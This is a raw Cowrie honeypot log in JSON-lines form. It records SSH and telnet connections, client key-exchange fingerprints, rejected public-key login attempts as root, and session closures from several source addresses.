{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:20.787761Z","src_ip":"107.170.247.81","session":"69e9accc3b2c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9e:e5:97:5c:4e:be:e6:11:b1:a7:d0:96:43:4a:0c:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMLOeCDOGrzywYIcA/rx9VFbCP47VhbZ4KJzfpqt4zHbXdadf9jl7Hx9YsPmBe4XjBh7sr7kTEAIAJdV9cHGMWt37aetpm/+NbtlAXmJWbPqXHA64RxEPZ5uF+l2NL2D6o2Epq1j2xl0Iq31iL5PQbXgp6wKJPAOHcPuEkywN4pE0xp5haNXQjzax3mD60hyQ8St7Fgc8XMFx0YJfciGcKBolo+jvHJ+IiiTJBsLNb7l5XmQ8Q1C0ig4TBWyaN7aWyV+/QyBwNJlQpLkn5Pi7lf2rEhPm9mnCVI54k7HcQwQeUps400UGSogA90fWoftXqf+hwYwwIeOx/7GDnqh09","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9e:e5:97:5c:4e:be:e6:11:b1:a7:d0:96:43:4a:0c:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:21.170095Z","src_ip":"107.170.247.81","session":"69e9accc3b2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9e:e5:97:5c:4e:be:e6:11:b1:a7:d0:96:43:4a:0c:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMLOeCDOGrzywYIcA/rx9VFbCP47VhbZ4KJzfpqt4zHbXdadf9jl7Hx9YsPmBe4XjBh7sr7kTEAIAJdV9cHGMWt37aetpm/+NbtlAXmJWbPqXHA64RxEPZ5uF+l2NL2D6o2Epq1j2xl0Iq31iL5PQbXgp6wKJPAOHcPuEkywN4pE0xp5haNXQjzax3mD60hyQ8St7Fgc8XMFx0YJfciGcKBolo+jvHJ+IiiTJBsLNb7l5XmQ8Q1C0ig4TBWyaN7aWyV+/QyBwNJlQpLkn5Pi7lf2rEhPm9mnCVI54k7HcQwQeUps400UGSogA90fWoftXqf+hwYwwIeOx/7GDnqh09","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:21.174128Z","src_ip":"107.170.247.81","session":"69e9accc3b2c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:02:87:c1:bf:de:43:86:e0:7e:d2:7a:b1:a3:ff:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9UbKizg9vSB4HLMJTj5Ttrg+B8xmHSwIbjH5Z2TRaNkXlbuBeHWO/kd5ZmdvuW6UtgO36JRI11n2btusF8joifajTYP+iLZK8sMw+/cvjZJMHqskX8IHoWdUtI1EULRRPKCSUBvXhgfxpXC6HY/sEDrk+SyQK2Bl1CfpQmzVFpz0Zr+leM8WhAL574NaL4+plWNMieQIhOE/isY7aMOgqYQC086o83Un/HMz2f/ot9qWreem/rJ6QHrVpE9XIDin6bxyqdopOxFbx99C01l0W/BUY8xbwa16tnX1kWDV4iLM9x3EMyb7la0gTYo6ShYmT8LdWIGk7DdRxIf6ySzwlUx5Vw1DTaRgtZZcPnsrf8V/j1fcgqljuMmRka3V2aPgZTyZSGjV0gh47lbrGbv7xa/kasZfPM98QQ8+t2POzZ+fceE4AVb6JuvT+oAa3AJGhgA5WNHluHfxpQ1M9bics3a17X4HTbJoYxxVrQIfhTnwNgOOP9tQRMvH545p2ru6iHl8Kmf9jZ4i5BZtRpCZ52hiwxoysr67LHNPLsxka4Pi8e0JmgnPFKvpJhTcsLLcueJ29Z2xDGwd8RgNExxEVs7Gcr7GnAeXiGfg+abF7cuaABu60B+YbLuT8FOdyZrUZFQ2Uygb5iPBTyyD9MzOFl7uaQpu8yad0aZl+STL6rw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:02:87:c1:bf:de:43:86:e0:7e:d2:7a:b1:a3:ff:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:21.255531Z","src_ip":"107.170.247.81","session":"69e9accc3b2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:02:87:c1:bf:de:43:86:e0:7e:d2:7a:b1:a3:ff:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9UbKizg9vSB4HLMJTj5Ttrg+B8xmHSwIbjH5Z2TRaNkXlbuBeHWO/kd5ZmdvuW6UtgO36JRI11n2btusF8joifajTYP+iLZK8sMw+/cvjZJMHqskX8IHoWdUtI1EULRRPKCSUBvXhgfxpXC6HY/sEDrk+SyQK2Bl1CfpQmzVFpz0Zr+leM8WhAL574NaL4+plWNMieQIhOE/isY7aMOgqYQC086o83Un/HMz2f/ot9qWreem/rJ6QHrVpE9XIDin6bxyqdopOxFbx99C01l0W/BUY8xbwa16tnX1kWDV4iLM9x3EMyb7la0gTYo6ShYmT8LdWIGk7DdRxIf6ySzwlUx5Vw1DTaRgtZZcPnsrf8V/j1fcgqljuMmRka3V2aPgZTyZSGjV0gh47lbrGbv7xa/kasZfPM98QQ8+t2POzZ+fceE4AVb6JuvT+oAa3AJGhgA5WNHluHfxpQ1M9bics3a17X4HTbJoYxxVrQIfhTnwNgOOP9tQRMvH545p2ru6iHl8Kmf9jZ4i5BZtRpCZ52hiwxoysr67LHNPLsxka4Pi8e0JmgnPFKvpJhTcsLLcueJ29Z2xDGwd8RgNExxEVs7Gcr7GnAeXiGfg+abF7cuaABu60B+YbLuT8FOdyZrUZFQ2Uygb5iPBTyyD9MzOFl7uaQpu8yad0aZl+STL6rw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:21.258945Z","src_ip":"107.170.247.81","session":"69e9accc3b2c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e4:c5:57:ac:54:c4:ea:85:6b:42:95:dc:7b:a7:81:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5CmGGWL6lxGZ1gRLDngdIt3WIqTv2qAg4GOVHz3/sFEVVeuZ1p/wnP/5bgFtMf0pb2bM0GGzZxkxyU8TJ6R8zn1dbB83ja+2XeocLzLEn6LQozOrvDiCqhcfMMvNFIroNHy0pEOaDXQ+UwUrFKhi5FXrazsKaXwy2toCrxWnvnpKm3qpa7lEu2bAbnSFHoiTolDqaMKAsLSNin8u1RSsvSU8/eUzr/airATpFC8k8jNfs0W/n3oGkES+DMUNoUyE8WRiWjsQclDyU91MI12OOXOVFtXLkXRNYss7qLjI/ipnt6rN1Jcv9VtLTrohVwuJRGDrsuv229viN8JmdvTwUtqc37zpmq8GEvCo5gyRJmgOevIeWM/R1SyU7nj2REj43OL4U16m/s2f1LgSgXmDIj8ucIayGV6M7FOrOD2SlgXpDA8WZGUaXHTCEC8lp7yWXAobjyQ+43iGpHuIvVcRgC93jMJUTwNl40l1rL6yy0D+h0wpt84h8J0wsbWAdhE5hj0qbEixHZDQ+fW9UX/x3PG82+jOaoPLBZjFC/v3fx8TkHKubM1G8uudd2lxjQerx82WB0V0adtknWFgHEE8Dm40tlugTivP99bxwvF+Z8Yqr+/FW4zYbzh+rFBjp3sUH8ixwDmBfDHC2Sn6dd0N9AGRtGkOQs1V9hRfOZ+nxJw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e4:c5:57:ac:54:c4:ea:85:6b:42:95:dc:7b:a7:81:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:21.343279Z","src_ip":"107.170.247.81","session":"69e9accc3b2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e4:c5:57:ac:54:c4:ea:85:6b:42:95:dc:7b:a7:81:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5CmGGWL6lxGZ1gRLDngdIt3WIqTv2qAg4GOVHz3/sFEVVeuZ1p/wnP/5bgFtMf0pb2bM0GGzZxkxyU8TJ6R8zn1dbB83ja+2XeocLzLEn6LQozOrvDiCqhcfMMvNFIroNHy0pEOaDXQ+UwUrFKhi5FXrazsKaXwy2toCrxWnvnpKm3qpa7lEu2bAbnSFHoiTolDqaMKAsLSNin8u1RSsvSU8/eUzr/airATpFC8k8jNfs0W/n3oGkES+DMUNoUyE8WRiWjsQclDyU91MI12OOXOVFtXLkXRNYss7qLjI/ipnt6rN1Jcv9VtLTrohVwuJRGDrsuv229viN8JmdvTwUtqc37zpmq8GEvCo5gyRJmgOevIeWM/R1SyU7nj2REj43OL4U16m/s2f1LgSgXmDIj8ucIayGV6M7FOrOD2SlgXpDA8WZGUaXHTCEC8lp7yWXAobjyQ+43iGpHuIvVcRgC93jMJUTwNl40l1rL6yy0D+h0wpt84h8J0wsbWAdhE5hj0qbEixHZDQ+fW9UX/x3PG82+jOaoPLBZjFC/v3fx8TkHKubM1G8uudd2lxjQerx82WB0V0adtknWFgHEE8Dm40tlugTivP99bxwvF+Z8Yqr+/FW4zYbzh+rFBjp3sUH8ixwDmBfDHC2Sn6dd0N9AGRtGkOQs1V9hRfOZ+nxJw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:21.346851Z","src_ip":"107.170.247.81","session":"69e9accc3b2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.269963502883911,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:21.364131Z","src_ip":"92.252.241.245","session":"408e430b75d4","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:bb:c6:7f:88:8c:5f:89:7a:e5:55:90:b9:81:f3:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHD8nGWs4a/wQjlzyVTlTnvMy2CDZWeZbcwdfGYKEzstK0V1GUaQTZMJeI83RzScIoIm29THDSm5Nu8k0WYAn009/yj9Wk6/1wfwem5QcKYjEW88oOynKAHxkcRRfb722gcCOy3e+P7hTDtUV86mKUvyfNCeCM2IV2S0kBUyn4dZTBpO2WVaYX+k6qVwwkQHWjPMvxHuSPjpaygkzWCCAZgy9ZJNPI1ReATJHenkY3gXWHKD8ZBMC+ZnsvUZW2qp9L+t82icmMG2SSyCh41ZVa+5ICnyg3rSokVvnYGTcO5TkiVR08OWMnDGswIxpzbRqQAeBr9b6fgS0AG5vu3WNJVlxRjaq92W1qWUw2aQl7QSXc/d9t1Cpy9RDI5t1W8iV4o3O1Nn1DWAYgSEK/3No1iL0FQ6Cve6nZK0FrxiKh407oE9ANAOy+hWgLi8yFQvaReZkA8zOXKI8LsrnzwwOqfboxzlz5pxP5c3mGTj3xyf7oZZMfIvtgP7XICJxSO2OsiF3pZ1KrnTuIDhopwAh7cV77xHdtWG9rwLLzuVMxeIPG37K9vMzkhPCAIAlaySnZj5b3SnRssfW8JwHQkWoZTGcsGRGd1NbW5Bg59sxk04oq+D8HVSDwxQkJ/3/ITibNRH/IbBfCv+GxD2FbH234nBzCWAWzk/gKnl2Wxhrb9w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:bb:c6:7f:88:8c:5f:89:7a:e5:55:90:b9:81:f3:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:21.437029Z","src_ip":"107.170.247.81","session":"69e9accc3b2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:bb:c6:7f:88:8c:5f:89:7a:e5:55:90:b9:81:f3:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHD8nGWs4a/wQjlzyVTlTnvMy2CDZWeZbcwdfGYKEzstK0V1GUaQTZMJeI83RzScIoIm29THDSm5Nu8k0WYAn009/yj9Wk6/1wfwem5QcKYjEW88oOynKAHxkcRRfb722gcCOy3e+P7hTDtUV86mKUvyfNCeCM2IV2S0kBUyn4dZTBpO2WVaYX+k6qVwwkQHWjPMvxHuSPjpaygkzWCCAZgy9ZJNPI1ReATJHenkY3gXWHKD8ZBMC+ZnsvUZW2qp9L+t82icmMG2SSyCh41ZVa+5ICnyg3rSokVvnYGTcO5TkiVR08OWMnDGswIxpzbRqQAeBr9b6fgS0AG5vu3WNJVlxRjaq92W1qWUw2aQl7QSXc/d9t1Cpy9RDI5t1W8iV4o3O1Nn1DWAYgSEK/3No1iL0FQ6Cve6nZK0FrxiKh407oE9ANAOy+hWgLi8yFQvaReZkA8zOXKI8LsrnzwwOqfboxzlz5pxP5c3mGTj3xyf7oZZMfIvtgP7XICJxSO2OsiF3pZ1KrnTuIDhopwAh7cV77xHdtWG9rwLLzuVMxeIPG37K9vMzkhPCAIAlaySnZj5b3SnRssfW8JwHQkWoZTGcsGRGd1NbW5Bg59sxk04oq+D8HVSDwxQkJ/3/ITibNRH/IbBfCv+GxD2FbH234nBzCWAWzk/gKnl2Wxhrb9w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:21.441063Z","src_ip":"107.170.247.81","session":"69e9accc3b2c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bb:12:81:69:58:23:9d:8f:6a:4e:4c:4a:d7:b7:98:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDc3e/7ETTBUQQysEf3y9sxVkLyDSQqtuL0mNg0CqrqcxW/EvvXzy9wIzlr1GRtjqYz7msJSZHimaWp0HlTZ9alZEEwTM6aTCw5oSHkO6eHB9xZWrQ0tHGTKV/cWUAOHUQnwFp57+kRlThH4Wo2XM6OdK69lC3co2mcuwkUG6mbm9Oph0Wr1kpMynJIIFM80qDxSYNWQeXAXm+3LjuqRZrYdq5OJnPlG8IOKH35b7IgNMQYF+YuohdsX64H73alGpIcuMBaCKwcygRRX7CG08H+PyKIRWPLTP2uc81ao+88aM4Jo69AOJMuROGpkRJOKbojP7i5RVzypQGcnfrBLKbi+rbQ4K4vCPdT2sSrH0RBE8kWrIYU4YFL6+5z9ugnXQif3k8PxoSK/giJK4VqP1/za2g+mM01nPSTawA+HJgifT6PWcvBYihVrvTaeMDaZebJ285UOPjeKqb0lRmWr11Pu+tAOnDrp5fTDIZwaKmmx72TGnpn8r9rRd5mF4G9ODe26ZVkR/HA6HEnBiAa3jvdwkY6Wl/8PFkplFKMjLXTgxWmZSVftB1YNLldk+ehXbziV8qsWwcPfFA12cdPf7y3swAaeGrFu6i6SxOUIJRfoiAQVBdfHNWlOoAUwaoLXq5qRiX27Oo+uULFbsa1CKDTUBUf7b3Y7uvz+o1tJDTLw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bb:12:81:69:58:23:9d:8f:6a:4e:4c:4a:d7:b7:98:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:21.524226Z","src_ip":"107.170.247.81","session":"69e9accc3b2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bb:12:81:69:58:23:9d:8f:6a:4e:4c:4a:d7:b7:98:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDc3e/7ETTBUQQysEf3y9sxVkLyDSQqtuL0mNg0CqrqcxW/EvvXzy9wIzlr1GRtjqYz7msJSZHimaWp0HlTZ9alZEEwTM6aTCw5oSHkO6eHB9xZWrQ0tHGTKV/cWUAOHUQnwFp57+kRlThH4Wo2XM6OdK69lC3co2mcuwkUG6mbm9Oph0Wr1kpMynJIIFM80qDxSYNWQeXAXm+3LjuqRZrYdq5OJnPlG8IOKH35b7IgNMQYF+YuohdsX64H73alGpIcuMBaCKwcygRRX7CG08H+PyKIRWPLTP2uc81ao+88aM4Jo69AOJMuROGpkRJOKbojP7i5RVzypQGcnfrBLKbi+rbQ4K4vCPdT2sSrH0RBE8kWrIYU4YFL6+5z9ugnXQif3k8PxoSK/giJK4VqP1/za2g+mM01nPSTawA+HJgifT6PWcvBYihVrvTaeMDaZebJ285UOPjeKqb0lRmWr11Pu+tAOnDrp5fTDIZwaKmmx72TGnpn8r9rRd5mF4G9ODe26ZVkR/HA6HEnBiAa3jvdwkY6Wl/8PFkplFKMjLXTgxWmZSVftB1YNLldk+ehXbziV8qsWwcPfFA12cdPf7y3swAaeGrFu6i6SxOUIJRfoiAQVBdfHNWlOoAUwaoLXq5qRiX27Oo+uULFbsa1CKDTUBUf7b3Y7uvz+o1tJDTLw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:21.528016Z","src_ip":"107.170.247.81","session":"69e9accc3b2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:21.609801Z","src_ip":"107.170.247.81","session":"69e9accc3b2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.12044167518616,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:27.216902Z","src_ip":"135.148.33.91","session":"42eb87e970c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":59806,"dst_ip":"159.203.135.109","dst_port":23,"session":"27e1b8a00241","protocol":"telnet","message":"New connection: 135.148.33.91:59806 (159.203.135.109:23) [session: 27e1b8a00241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:31.833521Z"}
{"eventid":"cowrie.session.closed","duration":35.133220195770264,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:36.656425Z","src_ip":"135.148.33.91","session":"d4560c201c0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.330020904541016,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:39.631714Z","src_ip":"135.148.33.91","session":"fe97ebaae7a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":37892,"dst_ip":"159.203.135.109","dst_port":23,"session":"1434162c9407","protocol":"telnet","message":"New connection: 135.148.33.91:37892 (159.203.135.109:23) [session: 1434162c9407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:42.192037Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.246","src_port":38668,"dst_ip":"10.17.0.5","dst_port":22,"session":"8179541d5cef","protocol":"ssh","message":"New connection: 78.111.67.246:38668 (10.17.0.5:22) [session: 8179541d5cef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:43.259721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:43.263997Z","src_ip":"78.111.67.246","session":"8179541d5cef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:43.355553Z","src_ip":"78.111.67.246","session":"8179541d5cef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:7a:80:80:26:ef:9f:51:3b:4e:4f:06:3f:77:3a:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXUFdKhWRJxp0TClFJFgIx2gHWj6XmmY1Vx+EhwhvnUt5hbTp5yxpfyE6l08CpUn848twbOOntcktwm4rio5146khV1ho83/KhOhQZ+V3xfsq7noMBtHU+geWu46pQC3I2t4i14J9Epr1ah7DEtZl3NSChmuXvgkhQx2qItcLRn8dCFo9y9xlT/2lB+En6zgJUDhacHO0ulEMffgUQjVxVmZFRRGmAyCBGIifv8bQ55ByYmyABMov9a/qMwmNxnyVaXsfbt0YfzVaGgn3GMRraAAVl01gRIzw64bWVDuGvgHjNPsEBIEDTn+ijQ3J743lc4N0M8pRcG5gUyaS0k+NF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:7a:80:80:26:ef:9f:51:3b:4e:4f:06:3f:77:3a:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:43.788852Z","src_ip":"78.111.67.246","session":"8179541d5cef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:7a:80:80:26:ef:9f:51:3b:4e:4f:06:3f:77:3a:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXUFdKhWRJxp0TClFJFgIx2gHWj6XmmY1Vx+EhwhvnUt5hbTp5yxpfyE6l08CpUn848twbOOntcktwm4rio5146khV1ho83/KhOhQZ+V3xfsq7noMBtHU+geWu46pQC3I2t4i14J9Epr1ah7DEtZl3NSChmuXvgkhQx2qItcLRn8dCFo9y9xlT/2lB+En6zgJUDhacHO0ulEMffgUQjVxVmZFRRGmAyCBGIifv8bQ55ByYmyABMov9a/qMwmNxnyVaXsfbt0YfzVaGgn3GMRraAAVl01gRIzw64bWVDuGvgHjNPsEBIEDTn+ijQ3J743lc4N0M8pRcG5gUyaS0k+NF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:43.792912Z","src_ip":"78.111.67.246","session":"8179541d5cef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:e3:bb:d0:48:c9:17:3c:23:87:e7:79:31:f1:79:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAlymJrZsFJSZ878qfrwoX7/F7kr/8ijBz9rOBZBfcQq36zH77tLCg8M/FNcmcMAHlgVuIsFW9YWoFhmBKtZphdYE0hlpwIvUeb0YAIMkBhlH+Zs8rYOgcM5rxtbWs1/oxlvJUd5fDB8FoZTKBEB4gr4Ufg+8UKzr7GXeEp9vGwRBZ+bMqaWi/WtFBtExORABsHj2hOvanoaniYaIAd8CJ10STjoraV5GumPJDH/bHYn13wDh2BwNkHRqeQYW2lSz/1VXh+u4rTb1pZzJThY4nvPBd9x+vFYNxkZFURQM7mMOLpayqMHAGJ9SAfKvszzeHXZhQM4Azk/XXf17q4His8w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:e3:bb:d0:48:c9:17:3c:23:87:e7:79:31:f1:79:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:43.885128Z","src_ip":"78.111.67.246","session":"8179541d5cef","protocol":"ssh"}
